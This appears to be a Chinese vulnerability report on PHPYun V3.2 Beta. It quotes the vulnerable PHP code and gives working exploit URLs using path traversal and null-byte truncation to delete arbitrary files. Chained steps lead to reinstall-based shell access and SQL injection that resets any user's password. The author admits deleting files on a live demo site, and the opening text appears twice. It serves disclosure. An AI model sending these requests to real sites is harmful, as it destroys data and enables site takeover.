### 简要描述: 更新了 来看看。 果然是功能越多 bug越多 bug越多 rank越多。 这个不小心测试了下 demo, 把demo的robots.txt 和 图标都删除了。 你们自己再加上去下把。 phpyun基本都是靠过滤文件。 如果删除过滤文件 肯定是有注入了。 而且删除过滤文件不会像删除install的lock一样对网站造成啥损害。 ### 详细说明: http://www.phpyun.com/bbs/thread-8149-1-1.html //20141222 http://www.phpyun.com/PHP%E4%BA%91%E4%BA%BA%E6%89%8D%E6%8B%9B%E8%81%98%E7%B3%BB%E7%BB%9FV3.2_Beta.rar 最新版本的phpyun下载地址 在friend/model/index.class.php中 ``` function save_avatar_action() { @header("Expires: 0"); @header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE); @header("Pragma: no-cache"); $type = isset($_GET['type'])?trim($_GET['type']):'small';//没限制 $pic_id = trim($_GET['photoId']); $nameArr=@explode(".",$pic_id); $uptypes=array('jpg','png','jpeg','bmp','gif'); if(count($nameArr)!=2) //这里限制了只能含有一个小数点 { exit(); } if(!is_numeric($nameArr[0])) //限制文件的名字必须为数字。 { exit(); } if(!in_array(strtolower($nameArr[1]),$uptypes)) //限制文件类型只能为图片的各种类型 { $d['statusText'] = iconv("gbk","utf-8",'文件类型不符!'); $msg = json_encode($d); echo...
### 简要描述: 更新了 来看看。 果然是功能越多 bug越多 bug越多 rank越多。 这个不小心测试了下 demo, 把demo的robots.txt 和 图标都删除了。 你们自己再加上去下把。 phpyun基本都是靠过滤文件。 如果删除过滤文件 肯定是有注入了。 而且删除过滤文件不会像删除install的lock一样对网站造成啥损害。 ### 详细说明: http://www.phpyun.com/bbs/thread-8149-1-1.html //20141222 http://www.phpyun.com/PHP%E4%BA%91%E4%BA%BA%E6%89%8D%E6%8B%9B%E8%81%98%E7%B3%BB%E7%BB%9FV3.2_Beta.rar 最新版本的phpyun下载地址 在friend/model/index.class.php中 ``` function save_avatar_action() { @header("Expires: 0"); @header("Cache-Control: private, post-check=0, pre-check=0, max-age=0", FALSE); @header("Pragma: no-cache"); $type = isset($_GET['type'])?trim($_GET['type']):'small';//没限制 $pic_id = trim($_GET['photoId']); $nameArr=@explode(".",$pic_id); $uptypes=array('jpg','png','jpeg','bmp','gif'); if(count($nameArr)!=2) //这里限制了只能含有一个小数点 { exit(); } if(!is_numeric($nameArr[0])) //限制文件的名字必须为数字。 { exit(); } if(!in_array(strtolower($nameArr[1]),$uptypes)) //限制文件类型只能为图片的各种类型 { $d['statusText'] = iconv("gbk","utf-8",'文件类型不符!'); $msg = json_encode($d); echo $msg;die; } $new_avatar_path = 'upload/friend/friend_'.$type.'/'.$pic_id; $len = file_put_contents(APP_PATH.$new_avatar_path,file_get_contents("php://input")); //这里不能getshell 因为phpyun全局有转义 没办法截断。 所以也只能写图片。 $avtar_img = imagecreatefromjpeg(APP_PATH.$new_avatar_path); imagejpeg($avtar_img,APP_PATH.$new_avatar_path,80); $d['data']['urls'][0] ="../".$new_avatar_path; $d['status'] = 1; $d['statusText'] = iconv("gbk","utf-8",'上传成功!'); $row = $this->obj->DB_select_once("friend_info","`uid`='".$this->uid."'");//查询出来自己的资料 if($type=="small") { $this->obj->unlink_pic($row['pic']); $this->obj->update_once("friend_info",array("pic"=>"../".$new_avatar_path),array("uid"=>$this->uid)); $state_content = "我刚更换了新头像。 <img src=\"".$this->config['sy_weburl']."/".$new_avatar_path."\">"; $this->addstate($state_content); $this->obj->member_log("更换了新头像"); }else{ $this->obj->unlink_pic($row['pic_big']);//删除图片 $this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid));//这里把自己的图片入库 } $msg = json_encode($d); echo $msg; } ``` 因为全局有转义, 所以$new_avatar_path没办法截断 $this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid)) 但是这里有一个入库。 入库了 然后再把 $this->obj->unlink_pic($row['pic_big']);//删除图片 出库出来的删掉。 所以我们可以再次截断了。 所以这个截断也无视GPC啥的。 用phpyun的demo hr135.com测试 首先注册一个会员 然后请求 www.hr135.com//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00 [<img src="https://images.seebug.org/upload/201412/2413062306c85e7c6bb6efe92abebb96d16538a2.jpg" alt="p3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/2413062306c85e7c6bb6efe92abebb96d16538a2.jpg) 这样先转义入库了。 然后就按照这样再请求一次。 www.hr135.com//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00 再请求一次 出库, 然后就又能截断 成功删除了robots.txt 测试的时候把demo的robots.txt删掉了 http://www.hr135.com/robots.txt 已经404了。 你们自己添加上去一下把。 进一步的利用的话 我们可以先删除lock 然后重装进行getshell /friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../data/phpyun.lock%00 这个需要请求两次。 [<img src="https://images.seebug.org/upload/201412/2412310068e8f87386bb063be149663c66e775c1.jpg" alt="p1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/2412310068e8f87386bb063be149663c66e775c1.jpg) [<img src="https://images.seebug.org/upload/201412/24123107964bbe5960f5f58967f65777110b8e10.jpg" alt="p2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/24123107964bbe5960f5f58967f65777110b8e10.jpg) 成功GETSHELL。 第二处在 member/com/model/show.class.php中 ``` function del_action(){ if($_GET['id']){ $row=$this->obj->DB_select_once("company_show","`id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'","`picurl`");//出库 if(is_array($row)) { $this->obj->unlink_pic(".".$row['picurl']);//这里把出库的删除掉 来看看哪里入库 $oid=$this->obj->DB_delete_all("company_show","`id`='".(int)$_GET['id']."' and `uid`='".$this->uid."'"); } if($oid) { $this->obj->member_log("删除企业环境展示"); $this->layer_msg('删除成功!',9); }else{ $this->layer_msg('删除失败!',8); } } ``` ``` function upshow_action(){ if($_POST['submitbtn']){ $time=time(); unset($_POST['submitbtn']); if(!empty($_FILES['uplocadpic']['tmp_name'])) { $upload=$this->upload_pic("..https://images.seebug.org/upload/show/",false); $uplocadpic=$upload->picture($_FILES['uplocadpic']); $this->picmsg($uplocadpic,$_SERVER['HTTP_REFERER']); $uplocadpic = str_replace("..https://images.seebug.org/upload/show",".https://images.seebug.org/upload/show",$uplocadpic); $row=$this->obj->DB_select_once("company_show","`uid`='".(int)$_POST['uid']."' and `id`='".intval($_POST['id'])."'","`picurl`"); if(is_array($row)) { $this->obj->unlink_pic(".".$row['picurl']); } }else{ $uplocadpic=$_POST['picurl'];//当没定义_FILES的时候竟然直接接受_POST来的。。 那么直接用户可控了。 } $nid=$this->obj->DB_update_all("company_show","`picurl`='".$uplocadpic."',`title`='".$_POST['title']."',`sort`='".$_POST['showsort']."',`ctime`='".$time."'","`uid`='".$this->uid."'and `id`='".$_POST['id']."'");//入库入库 if($nid) ``` 因为这里是update 所以要先入库一个 在model/user.php中 ``` function saveshow_action() { if (!empty($_FILES)) { $pic=$name=''; $data=array(); $tempFile = $_FILES['Filedata']; $upload=$this->upload_pic(".https://images.seebug.org/upload/show/"); $pic=$upload->picture($tempFile); $name=@explode('.',$_FILES['Filedata']['name']); $picurl=str_replace("..https://images.seebug.org/upload/show",".https://images.seebug.org/upload/show",$pic); //可以看到这里是不可控的 $data['picurl']= $picurl; $data['title']=$this->stringfilter($name[0]); $data['ctime']=time(); $data['uid']=(int)$_POST['uid']; $data['eid']=(int)$_GET['eid']; $id=$this->obj->insert_into("resume_show",$data); if($id){ echo $name[0]."||".$picurl."||".$id;die; }else{ echo "2";die; } } } } ``` [<img src="https://images.seebug.org/upload/201412/25122800336be332e6cdf6ff4cdd9a994f6ccce6.jpg" alt="p18.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/25122800336be332e6cdf6ff4cdd9a994f6ccce6.jpg) 文件名不可控 再回来update里来 这里因为unlink_pic 限制了必须为jpg后缀之类的 这里我们截断一下 [<img src="https://images.seebug.org/upload/201412/251244186efd4c2de420bf677a2e2d7b68914c9e.jpg" alt="p19.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/251244186efd4c2de420bf677a2e2d7b68914c9e.jpg) [<img src="https://images.seebug.org/upload/201412/251244527ed06d90f9c82a84ec805bc55632540b.jpg" alt="p20.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/251244527ed06d90f9c82a84ec805bc55632540b.jpg) 成功删除根目录的文件。 _ 第三处 member/user/model/show.class.php //跟上面一个相同的原理 不过是因为一个是企业会员操作的 一个是个人会员操作的、 这里代码我都不贴了 你们自己查把。 第四处 member/user/model/resume.class.php ``` function del_action(){ $del=(int)$_GET['id']; $show=$this->obj->DB_select_all("resume_show","`eid`='".$del."' and `picurl`<>''","`picurl`"); if(is_array($show)) { foreach($show as $v) { @unlink(".".$show['picurl']); } } ``` 入库也在/member/user/model/show.class.php function upshow_action(){ 也是因为用户可控了。 ___ 这里来搞一下注入 首先我们用上面的方法删除data/db.safety.php 这个参照上面的方法 就不多说了。 首先删除data/db.safety.php 后 就不会转义了 那么我们就能引入单引号了。 再找一个不会对查询转义的函数就行了。 在model/forgetpw.class.php中 ``` function editpw_action() { if($_POST['username'] && $_POST['code'] && $_POST['pass']) { $password = $_POST['pass']; $cert = $this->obj->DB_select_once("company_cert","`type`='5' AND `check2`='".$_POST['username']."' AND `check`='".$_POST['code']."' order by id desc","`uid`,`check2`,`ctime`");//这里直接把$_POST的带入了查询 因为删除了过滤文件 所以不转义 if(!$cert['uid']) { $this->obj->ACT_layer_msg('验证码填写错误!',8,$this->url("index","forgetpw","1")); }elseif((time()-$cert['ctime'])>1200){ $this->obj->ACT_layer_msg('验证码已失效,请重新获取!',8,$this->url("index","forgetpw","1")); } $info = $this->obj->DB_select_once("member","`uid`='".$cert['uid']."'","`email`"); if(is_array($info)) { $info['username'] = $cert['check2']; if($this->config[sy_uc_type]=="uc_center" && $info['name_repeat']!="1") { $this->obj->uc_open(); uc_user_edit($info[username], "", $password, $info['email'],"0"); }else{ $salt = substr(uniqid(rand()), -6); $pass2 = md5(md5($password).$salt); $value="`password`='$pass2',`salt`='$salt'"; $this->obj->DB_update_all("member",$value,"`uid`='".$cert['uid']."'"); } $this->obj->ACT_layer_msg('密码修改成功!',9,$this->url("index","login","1")); }else{ ``` 在满足这些条件后 甚至可以改任意用户的密码 [<img src="https://images.seebug.org/upload/201412/29123344ca0501e2f013c673dd1599bf4532a202.jpg" alt="13.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/29123344ca0501e2f013c673dd1599bf4532a202.jpg) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201412/24123107964bbe5960f5f58967f65777110b8e10.jpg" alt="p2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201412/24123107964bbe5960f5f58967f65777110b8e10.jpg)